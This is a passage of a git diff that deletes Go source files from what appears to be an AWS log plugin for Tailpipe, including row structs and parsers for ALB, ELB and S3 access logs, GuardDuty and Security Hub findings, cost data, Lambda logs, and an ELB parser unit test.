flowLog.AzID = &field - case "sublocation-type": - flowLog.SublocationType = &field - case "sublocation-id": - flowLog.SublocationID = &field - case "pkt-src-aws-service": - flowLog.PktSrcAWSService = &field - case "pkt-dst-aws-service": - flowLog.PktDstAWSService = &field - case "flow-direction": - flowLog.FlowDirection = &field - case "traffic-path": - trafficPath, err := strconv.ParseInt(field, 10, 32) - if err != nil { - return nil, fmt.Errorf("invalid traffic-path: %s", field) - } - v := int32(trafficPath) - flowLog.TrafficPath = &v - case "ecs-cluster-arn": - flowLog.ECSClusterARN = &field - case "ecs-cluster-name": - flowLog.ECSClusterName = &field - case "ecs-container-instance-arn": - flowLog.ECSContainerInstanceARN = &field - case "ecs-container-instance-id": - flowLog.ECSContainerInstanceID = &field - case "ecs-container-id": - flowLog.ECSContainerID = &field - case "ecs-second-container-id": - flowLog.ECSSecondContainerID = &field - case "ecs-service-name": - flowLog.ECSServiceName = &field - case "ecs-task-definition-arn": - flowLog.ECSTaskDefinitionARN = &field - case "ecs-task-arn": - flowLog.ECSTaskARN = &field - case "ecs-task-id": - flowLog.ECSTaskID = &field - default: - return nil, fmt.Errorf("unknown field: %s", c.schema[i]) - } - } - - return flowLog, nil - -} diff --git a/mappers/waf_mapper.go b/mappers/waf_mapper.go deleted file mode 100644 index df9815b5..00000000 --- a/mappers/waf_mapper.go +++ /dev/null @@ -1,39 +0,0 @@ -package mappers - -import ( - "context" - "encoding/json" - "fmt" - - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -type WafMapper struct { -} - -func (c *WafMapper) Identifier() string { - return "waf_mapper" -} - -func (c *WafMapper) Map(_ context.Context, a any, _ ...table.MapOption[*rows.WafTrafficLog]) (*rows.WafTrafficLog, error) { - var jsonBytes []byte - - switch v := a.(type) { - case []byte: - jsonBytes = v - case string: - jsonBytes = []byte(v) - default: - return nil, fmt.Errorf("expected byte[] or string, got %T", a) - } - - // decode JSON into WafTrafficLog - var log rows.WafTrafficLog - err := json.Unmarshal(jsonBytes, &log) - if err != nil { - return nil, fmt.Errorf("error decoding JSON: %w; partial log: %+v", err, log) - } - - return &log, nil -} diff --git a/rows/alb_access_log.go b/rows/alb_access_log.go deleted file mode 100644 index afc22264..00000000 --- a/rows/alb_access_log.go +++ /dev/null @@ -1,197 +0,0 @@ -// File: rows/alb_access_log.go - -package rows - -import ( - "fmt" - "strconv" - "strings" - "time" - - "github.com/turbot/tailpipe-plugin-sdk/schema" -) - -// AlbAccessLog represents a single Application Load Balancer (ALB) access log entry. -// It includes both AWS ALB-specific fields and Tailpipe enrichment fields for enhanced analysis. -// The struct maps directly to the format of ALB access logs as documented by AWS: -// https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-access-logs.html -// -// Data flow: -// 1. Raw log parsing: InitialiseFromMap parses raw string values into typed struct fields -// 2. Enrichment: EnrichRow adds derived and computed fields for analysis -// -// Enrichment fields are populated as follows: -// - tp_source_ip: from client IP -// - tp_destination_ip: from target IP -// - tp_ips: array containing both client and target IPs -// - tp_domains: from domain_name field -// - tp_akas: from target_group_arn for AWS resource linking -// - tp_timestamp: from timestamp field -// - tp_id: generated unique identifier -// - tp_source_type: set to "aws_alb_access_log" -// - tp_ingest_timestamp: set at processing time -// - tp_partition: set to "aws_alb_access_log" -// - tp_index: set to ALB name -// - tp_date: derived from timestamp in yyyy-mm-dd format - -type AlbAccessLog struct { - schema.CommonFields - - // Standard ALB fields - Type string `json:"type"` - Timestamp time.Time `json:"timestamp"` - Alb string `json:"alb"` - ClientIP string `json:"client_ip"` - ClientPort int `json:"client_port"` - TargetIP *string `json:"target_ip,omitempty"` - TargetPort int `json:"target_port"` - RequestProcessingTime float64 `json:"request_processing_time"` - TargetProcessingTime float64 `json:"target_processing_time"` - ResponseProcessingTime float64 `json:"response_processing_time"` - AlbStatusCode *int `json:"alb_status_code,omitempty"` - TargetStatusCode *int `json:"target_status_code,omitempty"` - ReceivedBytes *int64 `json:"received_bytes,omitempty"` - SentBytes *int64 `json:"sent_bytes,omitempty"` - Request string `json:"request"` - UserAgent string `json:"user_agent"` - SslCipher string `json:"ssl_cipher"` - SslProtocol string `json:"ssl_protocol"` - TargetGroupArn string `json:"target_group_arn"` - TraceId string `json:"trace_id"` - DomainName string `json:"domain_name"` - ChosenCertArn string `json:"chosen_cert_arn"` - MatchedRulePriority int `json:"matched_rule_priority"` - RequestCreationTime time.Time `json:"request_creation_time"` - ActionsExecuted string `json:"actions_executed"` - RedirectURL *string `json:"redirect_url,omitempty"` - ErrorReason *string `json:"error_reason,omitempty"` - TargetList *string `json:"target_list,omitempty"` - TargetStatusList *string `json:"target_status_list,omitempty"` - Classification *string `json:"classification,omitempty"` - ClassificationReason *string `json:"classification_reason,omitempty"` - ConnTraceID *string `json:"conn_trace_id,omitempty"` -} - -// InitialiseFromMap initializes the struct from a map of string values -func (l *AlbAccessLog) InitialiseFromMap(m map[string]string) error { - var err error - for key, value := range m { - if value == "-" { - continue - } - switch key { - case "timestamp": - ts, err := time.Parse(time.RFC3339, value) - if err != nil { - return fmt.Errorf("error parsing timestamp: %w", err) - } - l.Timestamp = ts - case "type": - l.Type = value - case "alb": - l.Alb = value - case "client": - if strings.Contains(value, ":") { - parts := strings.Split(value, ":") - ip := parts[0] - l.ClientIP = ip - l.ClientPort, err = strconv.Atoi(parts[1]) - if err != nil { - return fmt.Errorf("error parsing client_port: %w", err) - } - } - case "target": - if strings.Contains(value, ":") { - parts := strings.Split(value, ":") - ip := parts[0] - l.TargetIP = &ip - l.TargetPort, err = strconv.Atoi(parts[1]) - if err != nil { - return fmt.Errorf("error parsing target_port: %w", err) - } - } - case "request_processing_time": - l.RequestProcessingTime, err = strconv.ParseFloat(value, 64) - if err != nil { - return fmt.Errorf("error parsing request_processing_time: %w", err) - } - case "target_processing_time": - l.TargetProcessingTime, err = strconv.ParseFloat(value, 64) - if err != nil { - return fmt.Errorf("error parsing target_processing_time: %w", err) - } - case "response_processing_time": - l.ResponseProcessingTime, err = strconv.ParseFloat(value, 64) - if err != nil { - return fmt.Errorf("error parsing response_processing_time: %w", err) - } - case "alb_status_code": - asc, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing elb_status_code: %w", err) - } - l.AlbStatusCode = &asc - case "target_status_code": - tsc, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing target_status_code: %w", err) - } - l.TargetStatusCode = &tsc - case "received_bytes": - rb, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return fmt.Errorf("error parsing received_bytes: %w", err) - } - l.ReceivedBytes = &rb - case "sent_bytes": - sb, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return fmt.Errorf("error parsing sent_bytes: %w", err) - } - l.SentBytes = &sb - case "request": - l.Request = value - case "user_agent": - l.UserAgent = value - case "ssl_cipher": - l.SslCipher = value - case "ssl_protocol": - l.SslProtocol = value - case "target_group_arn": - l.TargetGroupArn = value - case "trace_id": - l.TraceId = value - case "domain_name": - l.DomainName = value - case "chosen_cert_arn": - l.ChosenCertArn = value - case "matched_rule_priority": - l.MatchedRulePriority, err = strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing matched_rule_priority: %w", err) - } - case "request_creation_time": - l.RequestCreationTime, err = time.Parse(time.RFC3339, value) - if err != nil { - return fmt.Errorf("error parsing request_creation_time: %w", err) - } - case "actions_executed": - l.ActionsExecuted = value - case "redirect_url": - l.RedirectURL = &value - case "error_reason": - l.ErrorReason = &value - case "target_list": - l.TargetList = &value - case "target_status_list": - l.TargetStatusList = &value - case "classification": - l.Classification = &value - case "classification_reason": - l.ClassificationReason = &value - case "conn_trace_id": - l.ConnTraceID = &value - } - } - return nil -} diff --git a/rows/cost_usage_log.go b/rows/cost_usage_log.go deleted file mode 100644 index d6c088cf..00000000 --- a/rows/cost_usage_log.go +++ /dev/null @@ -1,41 +0,0 @@ -package rows - -import ( - "time" - - "github.com/turbot/tailpipe-plugin-sdk/schema" -) - -type CostAndUsageLog struct { - schema.CommonFields - - InvoiceID *string `json:"invoice_id,omitempty"` - PayerAccountId *string `json:"payer_account_id,omitempty"` - LinkedAccountId *string `json:"linked_account_id,omitempty"` - RecordType *string `json:"record_type,omitempty"` - RecordID *string `json:"record_id,omitempty"` - BillingPeriodStartDate *time.Time `json:"billing_period_start_date,omitempty"` - BillingPeriodEndDate *time.Time `json:"billing_period_end_date,omitempty"` - InvoiceDate *time.Time `json:"invoice_date,omitempty"` - PayerAccountName *string `json:"payer_account_name,omitempty"` - LinkedAccountName *string `json:"linked_account_name,omitempty"` - TaxationAddress *string `json:"taxation_address,omitempty"` - PayerPONumber *string `json:"payer_po_number,omitempty"` - ProductCode *string `json:"product_code,omitempty"` - ProductName *string `json:"product_name,omitempty"` - SellerOfRecord *string `json:"seller_of_record,omitempty"` - UsageType *string `json:"usage_type,omitempty"` - Operation *string `json:"operation,omitempty"` - RateId *string `json:"rate_id,omitempty"` - ItemDescription *string `json:"item_description,omitempty"` - UsageStartDate *time.Time `json:"usage_start_date,omitempty"` - UsageEndDate *time.Time `json:"usage_end_date,omitempty"` - UsageQuantity *float64 `json:"usage_quantity,omitempty"` - BlendedRate *string `json:"blended_rate,omitempty"` - CurrencyCode *string `json:"currency_code,omitempty"` - CostBeforeTax *float64 `json:"cost_before_tax,omitempty"` - Credits *float64 `json:"credits,omitempty"` - TaxAmount *float64 `json:"tax_amount,omitempty"` - TaxType *string `json:"tax_type,omitempty"` - TotalCost *float64 `json:"total_cost,omitempty"` -} diff --git a/rows/elb_access_log.go b/rows/elb_access_log.go deleted file mode 100644 index b843e63d..00000000 --- a/rows/elb_access_log.go +++ /dev/null @@ -1,171 +0,0 @@ -package rows - -import ( - "fmt" - "strconv" - "strings" - "time" - - "github.com/turbot/tailpipe-plugin-sdk/schema" -) - -type ElbAccessLog struct { - schema.CommonFields - - Type string `json:"type"` - Timestamp time.Time `json:"timestamp"` - Elb string `json:"elb"` - ClientIP string `json:"client_ip"` - ClientPort int `json:"client_port"` - TargetIP *string `json:"target_ip,omitempty"` - TargetPort int `json:"target_port,omitempty"` - RequestProcessingTime float64 `json:"request_processing_time"` - TargetProcessingTime float64 `json:"target_processing_time"` - ResponseProcessingTime float64 `json:"response_processing_time"` - ElbStatusCode *int `json:"elb_status_code,omitempty"` - TargetStatusCode *int `json:"target_status_code,omitempty"` - ReceivedBytes *int64 `json:"received_bytes"` - SentBytes *int64 `json:"sent_bytes"` - Request string `json:"request"` - UserAgent string `json:"user_agent"` - SslCipher string `json:"ssl_cipher"` - SslProtocol string `json:"ssl_protocol"` - TargetGroupArn string `json:"target_group_arn"` - TraceID string `json:"trace_id"` - DomainName string `json:"domain_name"` - ChosenCertArn string `json:"chosen_cert_arn"` - MatchedRulePriority int `json:"matched_rule_priority"` - RequestCreationTime time.Time `json:"request_creation_time"` - ActionsExecuted string `json:"actions_executed"` - RedirectURL *string `json:"redirect_url,omitempty"` - ErrorReason *string `json:"error_reason,omitempty"` - TargetList *string `json:"target_list,omitempty"` - TargetStatusList *string `json:"target_status_list,omitempty"` - Classification *string `json:"classification,omitempty"` - ClassificationReason *string `json:"classification_reason,omitempty"` - ConnTraceID *string `json:"conn_trace_id,omitempty"` -} - -// InitialiseFromMap - initialise the struct from a map -func (l *ElbAccessLog) InitialiseFromMap(m map[string]string) error { - var err error - for key, value := range m { - if value == "-" { - continue - } - switch key { - case "timestamp": - ts, err := time.Parse(time.RFC3339, value) - if err != nil { - return fmt.Errorf("error parsing timestamp: %w", err) - } - l.Timestamp = ts - case "type": - l.Type = value - case "elb": - l.Elb = value - case "client": - if strings.Contains(value, ":") { - parts := strings.Split(value, ":") - ip := parts[0] - l.ClientIP = ip - l.ClientPort, err = strconv.Atoi(parts[1]) - if err != nil { - return fmt.Errorf("error parsing client_port: %w", err) - } - } - case "target": - if strings.Contains(value, ":") { - parts := strings.Split(value, ":") - ip := parts[0] - l.TargetIP = &ip - l.TargetPort, err = strconv.Atoi(parts[1]) - if err != nil { - return fmt.Errorf("error parsing target_port: %w", err) - } - } - case "request_processing_time": - l.RequestProcessingTime, err = strconv.ParseFloat(value, 64) - if err != nil { - return fmt.Errorf("error parsing request_processing_time: %w", err) - } - case "target_processing_time": - l.TargetProcessingTime, err = strconv.ParseFloat(value, 64) - if err != nil { - return fmt.Errorf("error parsing target_processing_time: %w", err) - } - case "response_processing_time": - l.ResponseProcessingTime, err = strconv.ParseFloat(value, 64) - if err != nil { - return fmt.Errorf("error parsing response_processing_time: %w", err) - } - case "elb_status_code": - esc, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing elb_status_code: %w", err) - } - l.ElbStatusCode = &esc - case "target_status_code": - tsc, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing target_status_code: %w", err) - } - l.TargetStatusCode = &tsc - case "received_bytes": - rb, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return fmt.Errorf("error parsing received_bytes: %w", err) - } - l.ReceivedBytes = &rb - case "sent_bytes": - sb, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return fmt.Errorf("error parsing sent_bytes: %w", err) - } - l.SentBytes = &sb - case "request": - l.Request = value - case "user_agent": - l.UserAgent = value - case "ssl_cipher": - l.SslCipher = value - case "ssl_protocol": - l.SslProtocol = value - case "target_group_arn": - l.TargetGroupArn = value - case "trace_id": - l.TraceID = value - case "domain_name": - l.DomainName = value - case "chosen_cert_arn": - l.ChosenCertArn = value - case "matched_rule_priority": - l.MatchedRulePriority, err = strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing matched_rule_priority: %w", err) - } - case "request_creation_time": - l.RequestCreationTime, err = time.Parse(time.RFC3339, value) - if err != nil { - return fmt.Errorf("error parsing request_creation_time: %w", err) - } - case "actions_executed": - l.ActionsExecuted = value - case "redirect_url": - l.RedirectURL = &value - case "error_reason": - l.ErrorReason = &value - case "target_list": - l.TargetList = &value - case "target_status_list": - l.TargetStatusList = &value - case "classification": - l.Classification = &value - case "classification_reason": - l.ClassificationReason = &value - case "conn_trace_id": - l.ConnTraceID = &value - } - } - return nil -} diff --git a/rows/elb_access_log_test.go b/rows/elb_access_log_test.go deleted file mode 100644 index 1cc0de70..00000000 --- a/rows/elb_access_log_test.go +++ /dev/null @@ -1,221 +0,0 @@ -package rows - -import ( - "testing" - "time" - - "github.com/google/go-cmp/cmp" - "github.com/google/go-cmp/cmp/cmpopts" - "github.com/stretchr/testify/assert" - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-sdk/schema" -) - -func TestAwsElbAccessLog_InitialiseFromMap(t *testing.T) { - - type args struct { - m map[string]string - } - tests := []struct { - name string - want *ElbAccessLog - args args - wantErr assert.ErrorAssertionFunc - }{ - { - name: "All valid fields", - args: args{ - m: map[string]string{ - "timestamp": "2021-07-01T00:00:00Z", - "type": "type", - "elb": "elb", - "client": "198.51.100.1:100", - "target": "198.51.100.2:200", - "request_processing_time": "99.9", - "target_processing_time": "55.5", - "response_processing_time": "33.3", - "elb_status_code": "200", - "target_status_code": "200", - "received_bytes": "100", - "sent_bytes": "100", - "request": "request", - "user_agent": "agent", - "ssl_cipher": "sahr4098ewrjofdsjkdsf", - "ssl_protocol": "SSLv3", - "target_group_arn": "arn:partition:service:region:account-id:resource", - "trace_id": "trace", - "domain_name": "domain", - "chosen_cert_arn": "arn:partition:service:region:account-id:resource", - "matched_rule_priority": "1", - "request_creation_time": "2021-07-01T00:00:00Z", - "actions_executed": "actions", - "redirect_url": "https://myapp.example.com/auth/callback?code=AUTH_CODE", - "error_reason": "reason", - "target_list": "list", - "target_status_list": "list", - "classification": "x", - "classification_reason": "reason", - "conn_trace_id": "abcd", - }, - }, - - want: &ElbAccessLog{ - - Type: "type", - Timestamp: time.Date(2021, 07, 01, 00, 00, 00, 00, time.UTC), - Elb: "elb", - ClientIP: "198.51.100.1", - ClientPort: 100, - TargetIP: utils.ToStringPointer("198.51.100.2"), - TargetPort: 200, - RequestProcessingTime: 99.9, - TargetProcessingTime: 55.5, - ResponseProcessingTime: 33.3, - ElbStatusCode: utils.ToPointer(200), - TargetStatusCode: utils.ToPointer(200), - ReceivedBytes: utils.ToPointer(int64(100)), - SentBytes: utils.ToPointer(int64(100)), - Request: "request", - UserAgent: "agent", - SslCipher: "sahr4098ewrjofdsjkdsf", - SslProtocol: "SSLv3", - TargetGroupArn: "arn:partition:service:region:account-id:resource", - TraceID: "trace", - DomainName: "domain", - ChosenCertArn: "arn:partition:service:region:account-id:resource", - MatchedRulePriority: 1, - RequestCreationTime: time.Date(2021, 07, 01, 00, 00, 00, 00, time.UTC), - ActionsExecuted: "actions", - RedirectURL: utils.ToStringPointer("https://myapp.example.com/auth/callback?code=AUTH_CODE"), - ErrorReason: utils.ToStringPointer("reason"), - TargetList: utils.ToStringPointer("list"), - TargetStatusList: utils.ToStringPointer("list"), - Classification: utils.ToStringPointer("x"), - ClassificationReason: utils.ToStringPointer("reason"), - ConnTraceID: utils.ToStringPointer("abcd"), - }, - wantErr: assert.NoError, - }, - { - name: "Invalid timestamp", - args: args{ - m: map[string]string{ - "timestamp": "invalid", - }, - }, - wantErr: assert.Error, - }, - //{ - // name: "Non string map value", - // args: args{ - // m: map[string]string{ - // "timestamp": 1, - // }, - // }, - // wantErr: assert.Error, - //}, - { - name: "Invalid request_processing_time", - args: args{ - m: map[string]string{ - "request_processing_time": "invalid", - }, - }, - wantErr: assert.Error, - }, - { - name: "Invalid target_processing_time", - args: args{ - m: map[string]string{ - "target_processing_time": "invalid", - }, - }, - wantErr: assert.Error, - }, - { - name: "Invalid response_processing_time", - args: args{ - m: map[string]string{ - "response_processing_time": "invalid", - }, - }, - wantErr: assert.Error, - }, - { - name: "Invalid elb_status_code", - args: args{ - m: map[string]string{ - "elb_status_code": "invalid", - }, - }, - wantErr: assert.Error, - }, - { - name: "Invalid target_status_code", - args: args{ - m: map[string]string{ - "target_status_code": "invalid", - }, - }, - wantErr: assert.Error, - }, - { - name: "Invalid received_bytes", - args: args{ - - m: map[string]string{ - "received_bytes": "invalid", - }, - }, - wantErr: assert.Error, - }, - { - name: "Invalid sent_bytes", - args: args{ - m: map[string]string{ - "sent_bytes": "invalid", - }, - }, - wantErr: assert.Error, - }, - { - name: "Invalid matched_rule_priority", - args: args{ - m: map[string]string{ - "matched_rule_priority": "invalid", - }, - }, - wantErr: assert.Error, - }, - { - name: "Invalid request_creation_time", - args: args{ - m: map[string]string{ - "request_creation_time": "invalid", - }, - }, - wantErr: assert.Error, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - l := &ElbAccessLog{} - err := l.InitialiseFromMap(tt.args.m) - // Check if the error assertion passes or fails - if !tt.wantErr(t, err, "InitialiseFromMap()") { - // Stop immediately if error assertion fails - t.FailNow() - } - if err != nil { - return - } - // Tactical - ignore tp fields - l.CommonFields = schema.CommonFields{} - equal := cmp.Equal(l, tt.want, cmpopts.IgnoreUnexported(ElbAccessLog{})) - if !equal { - t.Errorf("InitialiseFromMap() = %v, want %v", l, tt.want) - } - }) - } -} diff --git a/rows/guardduty_finding.go b/rows/guardduty_finding.go deleted file mode 100644 index 53a2366c..00000000 --- a/rows/guardduty_finding.go +++ /dev/null @@ -1,117 +0,0 @@ -package rows - -import ( - "time" - - "github.com/aws/aws-sdk-go-v2/service/guardduty/types" - "github.com/turbot/tailpipe-plugin-sdk/schema" -) - -type GuardDutyFinding struct { - schema.CommonFields - - AccountId *string `json:"account_id"` - Arn *string `json:"arn"` - Description *string `json:"description"` - Id *string `json:"id"` - Partition *string `json:"partition"` - Region *string `json:"region"` - SchemaVersion *string `json:"schema_version"` - Severity *float64 `json:"severity"` - Title *string `json:"title"` - Type *string `json:"type"` - CreatedAt time.Time `json:"created_at"` - UpdatedAt *time.Time `json:"updated_at"` - Service *GuardDutyFindingService `json:"service,omitempty"` - Resource *GuardDutyFindingResource `json:"resource,omitempty"` -} - -type GuardDutyFindingService struct { - Action *GuardDutyFindingAction `json:"action,omitempty"` - AdditionalInfo *GuardDutyFindingServiceAdditionInfo `json:"additional_info,omitempty"` - Archived *bool `json:"archived,omitempty"` - Count *int32 `json:"count,omitempty"` - Detection *types.Detection `json:"detection,omitempty" parquet:"type=JSON"` // contains maps - DetectorId *string `json:"detector_id,omitempty"` - EbsVolumeScanDetails *types.EbsVolumeScanDetails `json:"ebs_volume_scan_details,omitempty" parquet:"type=JSON"` // contains []struct - EventFirstSeen *string `json:"event_first_seen,omitempty"` - EventLastSeen *string `json:"event_last_seen,omitempty"` - Evidence *types.Evidence `json:"evidence,omitempty" parquet:"type=JSON"` // contains []struct - FeatureName *string `json:"feature_name,omitempty"` - MalwareScanDetails *types.MalwareScanDetails `json:"malware_scan_details,omitempty" parquet:"type=JSON"` // contains []struct - ResourceRole *string `json:"resource_role,omitempty"` - RuntimeDetails *GuardDutyFindingRuntimeDetails `json:"runtime_details,omitempty"` - ServiceName *string `json:"service_name,omitempty"` - UserFeedback *string `json:"user_feedback,omitempty"` -} - -type GuardDutyFindingServiceAdditionInfo struct { - Type *string `json:"type"` - Value *string `json:"value"` -} - -type GuardDutyFindingRuntimeDetails struct { - Context *GuardDutyFindingRuntimeDetailsContext `json:"context,omitempty"` - Process *GuardDutyFindingsProcessDetails `json:"process,omitempty"` -} - -type GuardDutyFindingRuntimeDetailsContext struct { - AddressFamily *string `json:"address_family,omitempty"` - CommandLineExample *string `json:"command_line_example,omitempty"` - FileSystemType *string `json:"file_system_type,omitempty"` - Flags []string `json:"flags,omitempty"` - IanaProtocolNumber *int32 `json:"iana_protocol_number,omitempty"` - LdPreloadValue *string `json:"ld_preload_value,omitempty"` - LibraryPath *string `json:"library_path,omitempty"` - MemoryRegions []string `json:"memory_regions,omitempty"` - ModifiedAt *time.Time `json:"modified_at,omitempty"` - ModifyingProcess *GuardDutyFindingsProcessDetails `json:"modifying_process,omitempty"` - ModuleFilePath *string `json:"module_file_path,omitempty"` - ModuleName *string `json:"module_name,omitempty"` - ModuleSha256 *string `json:"module_sha256,omitempty"` - MountSource *string `json:"mount_source,omitempty"` - MountTarget *string `json:"mount_target,omitempty"` - ReleaseAgentPath *string `json:"release_agent_path,omitempty"` - RuncBinaryPath *string `json:"runc_binary_path,omitempty"` - ScriptPath *string `json:"script_path,omitempty"` - ServiceName *string `json:"service_name,omitempty"` - ShellHistoryPath *string `json:"shell_history_path,omitempty"` - SocketPath *string `json:"socket_path,omitempty"` - TargetProcess *GuardDutyFindingsProcessDetails `json:"target_process,omitempty"` - ThreatFilePath *string `json:"threat_file_path,omitempty"` - ToolCategory *string `json:"tool_category,omitempty"` - ToolName *string `json:"tool_name,omitempty"` -} - -type GuardDutyFindingsProcessDetails struct { - Euid *int32 `json:"euid,omitempty"` - ExecutablePath *string `json:"executable_path,omitempty"` - ExecutableSha256 *string `json:"executable_sha256,omitempty"` - Name *string `json:"name,omitempty"` - NamespacePid *int32 `json:"namespace_pid,omitempty"` - ParentUuid *string `json:"parent_uuid,omitempty"` - Pid *int32 `json:"pid,omitempty"` - Pwd *string `json:"pwd,omitempty"` - StartTime *time.Time `json:"start_time,omitempty"` - User *string `json:"user,omitempty"` - UserId *int32 `json:"user_id,omitempty"` - Uuid *string `json:"uuid,omitempty"` -} - -type GuardDutyFindingResource struct { - ResourceType *string `json:"resource_type,omitempty"` - AccessKeyDetails *AccessKeyDetails `json:"access_key_details,omitempty"` - ResourceDetails *map[string]interface{} `json:"resource_details,omitempty" parquet:"type=JSON"` -} - -type GuardDutyFindingAction struct { - ActionType *string `json:"action_type,omitempty"` - ActionDetails map[string]interface{} `json:"action_details,omitempty" parquet:"type=JSON"` -} - -type AccessKeyDetails struct { - AccessKeyId *string `json:"access_key_id,omitempty"` - PrincipalId *string `json:"principal_id,omitempty"` - UserName *string `json:"user_name,omitempty"` - UserType *string `json:"user_type,omitempty"` -} diff --git a/rows/lambda_log.go b/rows/lambda_log.go deleted file mode 100644 index 7b88a5a3..00000000 --- a/rows/lambda_log.go +++ /dev/null @@ -1,23 +0,0 @@ -package rows - -import ( - "time" - - "github.com/turbot/tailpipe-plugin-sdk/schema" -) - -type LambdaLog struct { - schema.CommonFields - - Timestamp *time.Time `json:"timestamp,omitempty"` - RequestID *string `json:"request_id,omitempty"` - LogType *string `json:"log_type,omitempty"` - LogLevel *string `json:"log_level,omitempty"` - Message *string `json:"message,omitempty"` - - // Report Specific Fields - Duration *float64 `json:"duration,omitempty"` - BilledDuration *float64 `json:"billed_duration,omitempty"` - MemorySize *int `json:"memory_size,omitempty"` - MaxMemoryUsed *int `json:"max_memory_used,omitempty"` -} diff --git a/rows/s3_server_access_log.go b/rows/s3_server_access_log.go deleted file mode 100644 index c6eff5ae..00000000 --- a/rows/s3_server_access_log.go +++ /dev/null @@ -1,170 +0,0 @@ -package rows - -import ( - "fmt" - "strconv" - "time" - - "github.com/turbot/tailpipe-plugin-sdk/schema" -) - -type S3ServerAccessLog struct { - schema.CommonFields - - BucketOwner string `json:"bucket_owner"` - Bucket string `json:"bucket"` - Timestamp time.Time `json:"timestamp"` - RemoteIP string `json:"remote_ip"` - Requester string `json:"requester"` - RequestID string `json:"request_id"` - Operation string `json:"operation"` - Key *string `json:"key,omitempty"` - RequestURI *string `json:"request_uri,omitempty"` - HTTPStatus *int `json:"http_status,omitempty"` - ErrorCode *string `json:"error_code,omitempty"` - BytesSent *int64 `json:"bytes_sent,omitempty"` - ObjectSize *int64 `json:"object_size,omitempty"` - TotalTime *int `json:"total_time,omitempty"` - TurnAroundTime *int `json:"turn_around_time,omitempty"` - Referer *string `json:"referer,omitempty"` - UserAgent *string `json:"user_agent,omitempty"` - VersionID *string `json:"version_id,omitempty"` - HostID *string `json:"host_id,omitempty"` - SignatureVersion *string `json:"signature_version,omitempty"` - CipherSuite *string `json:"cipher_suite,omitempty"` - AuthenticationType *string `json:"authentication_type,omitempty"` - HostHeader *string `json:"host_header,omitempty"` - TLSVersion *string `json:"tls_version,omitempty"` - AccessPointArn *string `json:"access_point_arn,omitempty"` - AclRequired *bool `json:"acl_required,omitempty"` -} - -func NewS3ServerAccessLog() *S3ServerAccessLog { - return &S3ServerAccessLog{} -} - -func (l *S3ServerAccessLog) InitialiseFromMap(m map[string]string) error { - for key, value := range m { - switch key { - case "bucket_owner": - l.BucketOwner = value - case "bucket": - l.Bucket = value - case "timestamp": - ts, err := time.Parse("02/Jan/2006:15:04:05 -0700", value) - if err != nil { - return fmt.Errorf("error parsing timestamp: %w", err) - } - l.Timestamp = ts - case "remote_ip": - l.RemoteIP = value - case "requester": - l.Requester = value - case "request_id": - l.RequestID = value - case "operation": - l.Operation = value - case "key": - if value != "-" { - l.Key = &value - } - case "request_uri": - if value != "-" { - l.RequestURI = &value - } - case "http_status": - if value != "-" { - hs, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing http_status: %w", err) - } - l.HTTPStatus = &hs - } - case "error_code": - if value != "-" { - l.ErrorCode = &value - } - case "bytes_sent": - if value != "-" { - bs, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return fmt.Errorf("error parsing bytes_sent: %w", err) - } - l.BytesSent = &bs - } - case "object_size": - if value != "-" { - os, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return fmt.Errorf("error parsing object_size: %w", err) - } - l.ObjectSize = &os - } - case "total_time": - if value != "-" { - tt, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing total_time: %w", err) - } - l.TotalTime = &tt - } - case "turn_around_time": - if value != "-" { - tat, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing turn_around_time: %w", err) - } - l.TurnAroundTime = &tat - } - case "referer": - if value != "-" { - l.Referer = &value - } - case "user_agent": - if value != "-" { - l.UserAgent = &value - } - case "version_id": - if value != "-" { - l.VersionID = &value - } - case "host_id": - if value != "-" { - l.HostID = &value - } - case "signature_version": - if value != "-" { - l.SignatureVersion = &value - } - case "cipher_suite": - if value != "-" { - l.CipherSuite = &value - } - case "authentication_type": - if value != "-" { - l.AuthenticationType = &value - } - case "host_header": - if value != "-" { - l.HostHeader = &value - } - case "tls_version": - if value != "-" { - l.TLSVersion = &value - } - case "access_point_arn": - if value != "-" { - l.AccessPointArn = &value - } - case "acl_required": - if value != "-" { - b := true - l.AclRequired = &b - } else { - b := false - l.AclRequired = &b - } - } - } - return nil -} diff --git a/rows/securityhub_finding.go b/rows/securityhub_finding.go deleted file mode 100644 index 2996039e..00000000 --- a/rows/securityhub_finding.go +++ /dev/null @@ -1,171 +0,0 @@ -package rows - -import ( - "time" - - "github.com/turbot/tailpipe-plugin-sdk/schema" -) - -type SecurityHubFinding struct { - schema.CommonFields - - // Top level fields - Version *string `json:"version,omitempty"` - ID *string `json:"id,omitempty"` - DetailType *string `json:"detail_type,omitempty"` - Source *string `json:"source,omitempty"` - Account *string `json:"account,omitempty"` - Time *time.Time `json:"time,omitempty"` - Region *string `json:"region,omitempty"` - Resources []*string `json:"resources,omitempty"` - Detail *DetailFindingsData `json:"detail,omitempty"` -} - -// DetailFindingsData maps the `detail` field containing findings -type DetailFindingsData struct { - Findings []*Finding `json:"findings,omitempty" parquet:"name=findings, type=JSON"` - AwsRegion *string `json:"awsRegion" parquet:"name=aws_region"` - EventCategory *string `json:"eventCategory" parquet:"name=event_category"` - EventID *string `json:"eventID" parquet:"name=event_id"` - EventName *string `json:"eventName" parquet:"name=event_name"` - EventSource *string `json:"eventSource" parquet:"name=event_source"` - EventTime time.Time `json:"eventTime" parquet:"name=event_time"` - EventType *string `json:"eventType" parquet:"name=event_type"` - EventVersion *string `json:"eventVersion" parquet:"name=event_version"` - ManagementEvent bool `json:"managementEvent" 